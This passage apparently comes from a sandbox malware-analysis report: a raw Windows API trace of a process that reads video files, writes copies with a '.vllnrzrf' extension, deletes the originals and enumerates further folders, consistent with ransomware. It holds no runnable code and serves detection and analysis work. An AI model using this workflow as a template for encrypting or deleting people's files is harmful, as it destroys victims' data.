HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\erzvebe.avi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x530 [0121.553] GetFileType (hFile=0x530) returned 0x1 [0121.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83f080) returned 1 [0121.553] GetFileType (hFile=0x530) returned 0x1 [0121.553] WriteFile (in: hFile=0x530, lpBuffer=0x24a65f8*, nNumberOfBytesToWrite=0xa749, lpNumberOfBytesWritten=0x1c83f238, lpOverlapped=0x0 | out: lpBuffer=0x24a65f8*, lpNumberOfBytesWritten=0x1c83f238*=0xa749, lpOverlapped=0x0) returned 1 [0121.554] CloseHandle (hObject=0x530) returned 1 [0121.556] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi", lpFilePart=0x0) returned 0x43 [0121.556] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi", nBufferLength=0x105, lpBuffer=0x1c83edd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi", lpFilePart=0x0) returned 0x43 [0121.556] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\eRzVeBe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\erzvebe.avi")) returned 1 [0121.561] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv", lpFilePart=0x0) returned 0x45 [0121.561] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv", lpFilePart=0x0) returned 0x45 [0121.561] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv", lpFilePart=0x0) returned 0x45 [0121.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c83f110) returned 1 [0121.561] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\eu__hyt_q.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x530 [0121.561] GetFileType (hFile=0x530) returned 0x1 [0121.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83f080) returned 1 [0121.561] GetFileType (hFile=0x530) returned 0x1 [0121.562] GetFileSize (in: hFile=0x530, lpFileSizeHigh=0x1c83f2a8 | out: lpFileSizeHigh=0x1c83f2a8*=0x0) returned 0xa31d [0121.562] ReadFile (in: hFile=0x530, lpBuffer=0x24b4e30, nNumberOfBytesToRead=0xa31d, lpNumberOfBytesRead=0x1c83f1d8, lpOverlapped=0x0 | out: lpBuffer=0x24b4e30*, lpNumberOfBytesRead=0x1c83f1d8*=0xa31d, lpOverlapped=0x0) returned 1 [0121.563] CloseHandle (hObject=0x530) returned 1 [0121.631] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv.vllnrzrf", lpFilePart=0x0) returned 0x4e [0121.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c83f110) returned 1 [0121.631] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\eu__hyt_q.flv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4b0 [0121.632] GetFileType (hFile=0x4b0) returned 0x1 [0121.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83f080) returned 1 [0121.632] GetFileType (hFile=0x4b0) returned 0x1 [0121.632] WriteFile (in: hFile=0x4b0, lpBuffer=0x225d1f0*, nNumberOfBytesToWrite=0xa51d, lpNumberOfBytesWritten=0x1c83f238, lpOverlapped=0x0 | out: lpBuffer=0x225d1f0*, lpNumberOfBytesWritten=0x1c83f238*=0xa51d, lpOverlapped=0x0) returned 1 [0121.634] CloseHandle (hObject=0x4b0) returned 1 [0122.156] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv", lpFilePart=0x0) returned 0x45 [0122.156] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv", nBufferLength=0x105, lpBuffer=0x1c83edd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv", lpFilePart=0x0) returned 0x45 [0122.156] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\Eu__hyt_q.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\eu__hyt_q.flv")) returned 1 [0122.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf", lpFilePart=0x0) returned 0x40 [0122.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf", lpFilePart=0x0) returned 0x40 [0122.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf", lpFilePart=0x0) returned 0x40 [0122.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c83f110) returned 1 [0122.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\m4eo.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4b0 [0122.162] GetFileType (hFile=0x4b0) returned 0x1 [0122.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83f080) returned 1 [0122.162] GetFileType (hFile=0x4b0) returned 0x1 [0122.162] GetFileSize (in: hFile=0x4b0, lpFileSizeHigh=0x1c83f2a8 | out: lpFileSizeHigh=0x1c83f2a8*=0x0) returned 0x9ca7 [0122.162] ReadFile (in: hFile=0x4b0, lpBuffer=0x2268340, nNumberOfBytesToRead=0x9ca7, lpNumberOfBytesRead=0x1c83f1d8, lpOverlapped=0x0 | out: lpBuffer=0x2268340*, lpNumberOfBytesRead=0x1c83f1d8*=0x9ca7, lpOverlapped=0x0) returned 1 [0122.163] CloseHandle (hObject=0x4b0) returned 1 [0122.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf.vllnrzrf", lpFilePart=0x0) returned 0x49 [0122.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c83f110) returned 1 [0122.175] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\m4eo.swf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4b0 [0122.175] GetFileType (hFile=0x4b0) returned 0x1 [0122.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83f080) returned 1 [0122.176] GetFileType (hFile=0x4b0) returned 0x1 [0122.176] WriteFile (in: hFile=0x4b0, lpBuffer=0x22b3980*, nNumberOfBytesToWrite=0x9ea7, lpNumberOfBytesWritten=0x1c83f238, lpOverlapped=0x0 | out: lpBuffer=0x22b3980*, lpNumberOfBytesWritten=0x1c83f238*=0x9ea7, lpOverlapped=0x0) returned 1 [0122.178] CloseHandle (hObject=0x4b0) returned 1 [0122.180] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf", lpFilePart=0x0) returned 0x40 [0122.180] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf", nBufferLength=0x105, lpBuffer=0x1c83edd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf", lpFilePart=0x0) returned 0x40 [0122.180] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\m4eo.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\m4eo.swf")) returned 1 [0122.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv", lpFilePart=0x0) returned 0x4a [0122.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv", lpFilePart=0x0) returned 0x4a [0122.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv", lpFilePart=0x0) returned 0x4a [0122.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c83f110) returned 1 [0122.213] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\t9k0podqksnyxh.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4b0 [0122.213] GetFileType (hFile=0x4b0) returned 0x1 [0122.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83f080) returned 1 [0122.213] GetFileType (hFile=0x4b0) returned 0x1 [0122.213] GetFileSize (in: hFile=0x4b0, lpFileSizeHigh=0x1c83f2a8 | out: lpFileSizeHigh=0x1c83f2a8*=0x0) returned 0x7bd7 [0122.213] ReadFile (in: hFile=0x4b0, lpBuffer=0x22be488, nNumberOfBytesToRead=0x7bd7, lpNumberOfBytesRead=0x1c83f1d8, lpOverlapped=0x0 | out: lpBuffer=0x22be488*, lpNumberOfBytesRead=0x1c83f1d8*=0x7bd7, lpOverlapped=0x0) returned 1 [0122.215] CloseHandle (hObject=0x4b0) returned 1 [0122.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv.vllnrzrf", lpFilePart=0x0) returned 0x53 [0122.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c83f110) returned 1 [0122.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\t9k0podqksnyxh.flv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4b0 [0122.228] GetFileType (hFile=0x4b0) returned 0x1 [0122.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83f080) returned 1 [0122.228] GetFileType (hFile=0x4b0) returned 0x1 [0122.228] WriteFile (in: hFile=0x4b0, lpBuffer=0x22fa910*, nNumberOfBytesToWrite=0x7dd7, lpNumberOfBytesWritten=0x1c83f238, lpOverlapped=0x0 | out: lpBuffer=0x22fa910*, lpNumberOfBytesWritten=0x1c83f238*=0x7dd7, lpOverlapped=0x0) returned 1 [0122.230] CloseHandle (hObject=0x4b0) returned 1 [0122.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv", lpFilePart=0x0) returned 0x4a [0122.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv", nBufferLength=0x105, lpBuffer=0x1c83edd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv", lpFilePart=0x0) returned 0x4a [0122.232] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\T9k0PODqkSnYxH.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\t9k0podqksnyxh.flv")) returned 1 [0122.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4", lpFilePart=0x0) returned 0x42 [0122.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4", lpFilePart=0x0) returned 0x42 [0122.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4", lpFilePart=0x0) returned 0x42 [0122.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c83f110) returned 1 [0122.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\ugliyf.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4b0 [0122.236] GetFileType (hFile=0x4b0) returned 0x1 [0122.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83f080) returned 1 [0122.236] GetFileType (hFile=0x4b0) returned 0x1 [0122.236] GetFileSize (in: hFile=0x4b0, lpFileSizeHigh=0x1c83f2a8 | out: lpFileSizeHigh=0x1c83f2a8*=0x0) returned 0x39d5 [0122.236] ReadFile (in: hFile=0x4b0, lpBuffer=0x2303338, nNumberOfBytesToRead=0x39d5, lpNumberOfBytesRead=0x1c83f1d8, lpOverlapped=0x0 | out: lpBuffer=0x2303338*, lpNumberOfBytesRead=0x1c83f1d8*=0x39d5, lpOverlapped=0x0) returned 1 [0122.237] CloseHandle (hObject=0x4b0) returned 1 [0122.252] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4.vllnrzrf", lpFilePart=0x0) returned 0x4b [0122.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c83f110) returned 1 [0122.252] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\ugliyf.mp4.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4b0 [0122.253] GetFileType (hFile=0x4b0) returned 0x1 [0122.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83f080) returned 1 [0122.253] GetFileType (hFile=0x4b0) returned 0x1 [0122.253] WriteFile (in: hFile=0x4b0, lpBuffer=0x2321100*, nNumberOfBytesToWrite=0x3bd5, lpNumberOfBytesWritten=0x1c83f238, lpOverlapped=0x0 | out: lpBuffer=0x2321100*, lpNumberOfBytesWritten=0x1c83f238*=0x3bd5, lpOverlapped=0x0) returned 1 [0122.254] CloseHandle (hObject=0x4b0) returned 1 [0122.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4", nBufferLength=0x105, lpBuffer=0x1c83ec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4", lpFilePart=0x0) returned 0x42 [0122.257] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4", nBufferLength=0x105, lpBuffer=0x1c83edd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4", lpFilePart=0x0) returned 0x42 [0122.257] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\UGLiyf.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\ugliyf.mp4")) returned 1 [0122.258] CoUninitialize () Thread: id = 112 os_tid = 0x138 [0122.274] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0122.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1c0ced20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0122.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cf180) returned 1 [0122.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", nBufferLength=0x105, lpBuffer=0x1c0cec70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z", lpFilePart=0x0) returned 0x29 [0122.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\", nBufferLength=0x105, lpBuffer=0x1c0cec10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\", lpFilePart=0x0) returned 0x2a [0122.275] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\*.*", lpFindFileData=0x1c0cee20 | out: lpFindFileData=0x1c0cee20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf7c93b0, ftCreationTime.dwHighDateTime=0x1d5dc75, ftLastAccessTime.dwLowDateTime=0x997bb140, ftLastAccessTime.dwHighDateTime=0x1d5e7a8, ftLastWriteTime.dwLowDateTime=0x997bb140, ftLastWriteTime.dwHighDateTime=0x1d5e7a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0122.279] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0cee70 | out: lpFindFileData=0x1c0cee70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf7c93b0, ftCreationTime.dwHighDateTime=0x1d5dc75, ftLastAccessTime.dwLowDateTime=0xb8e08470, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb8e08470, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.279] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0cee70 | out: lpFindFileData=0x1c0cee70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b3b280, ftCreationTime.dwHighDateTime=0x1d5db4f, ftLastAccessTime.dwLowDateTime=0x2ababc50, ftLastAccessTime.dwHighDateTime=0x1d5dfc5, ftLastWriteTime.dwLowDateTime=0x2ababc50, ftLastWriteTime.dwHighDateTime=0x1d5dfc5, nFileSizeHigh=0x0, nFileSizeLow=0x4659, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRkf6LQiV6jw.avi", cAlternateFileName="GRKF6L~1.AVI")) returned 1 [0122.279] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0cee70 | out: lpFindFileData=0x1c0cee70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a28d9f0, ftCreationTime.dwHighDateTime=0x1d5e009, ftLastAccessTime.dwLowDateTime=0x4f819150, ftLastAccessTime.dwHighDateTime=0x1d5e112, ftLastWriteTime.dwLowDateTime=0x4f819150, ftLastWriteTime.dwHighDateTime=0x1d5e112, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVyU9mm3Ch", cAlternateFileName="HVYU9M~1")) returned 1 [0122.279] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0cee70 | out: lpFindFileData=0x1c0cee70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7885b990, ftCreationTime.dwHighDateTime=0x1d5df38, ftLastAccessTime.dwLowDateTime=0x8967ed50, ftLastAccessTime.dwHighDateTime=0x1d5d83a, ftLastWriteTime.dwLowDateTime=0x8967ed50, ftLastWriteTime.dwHighDateTime=0x1d5d83a, nFileSizeHigh=0x0, nFileSizeLow=0xfd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="IIDimJOmjOAYWyTLEW.swf", cAlternateFileName="IIDIMJ~1.SWF")) returned 1 [0122.280] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0cee70 | out: lpFindFileData=0x1c0cee70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb250700, ftCreationTime.dwHighDateTime=0x1d5d947, ftLastAccessTime.dwLowDateTime=0xabbfb6e0, ftLastAccessTime.dwHighDateTime=0x1d5e6a8, ftLastWriteTime.dwLowDateTime=0xabbfb6e0, ftLastWriteTime.dwHighDateTime=0x1d5e6a8, nFileSizeHigh=0x0, nFileSizeLow=0x177d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="lo pSmP.avi", cAlternateFileName="LOPSMP~1.AVI")) returned 1 [0122.280] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0cee70 | out: lpFindFileData=0x1c0cee70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb71e0710, ftCreationTime.dwHighDateTime=0x1d5e786, ftLastAccessTime.dwLowDateTime=0xd7d9d550, ftLastAccessTime.dwHighDateTime=0x1d5d823, ftLastWriteTime.dwLowDateTime=0xd7d9d550, ftLastWriteTime.dwHighDateTime=0x1d5d823, nFileSizeHigh=0x0, nFileSizeLow=0x15213, dwReserved0=0x0, 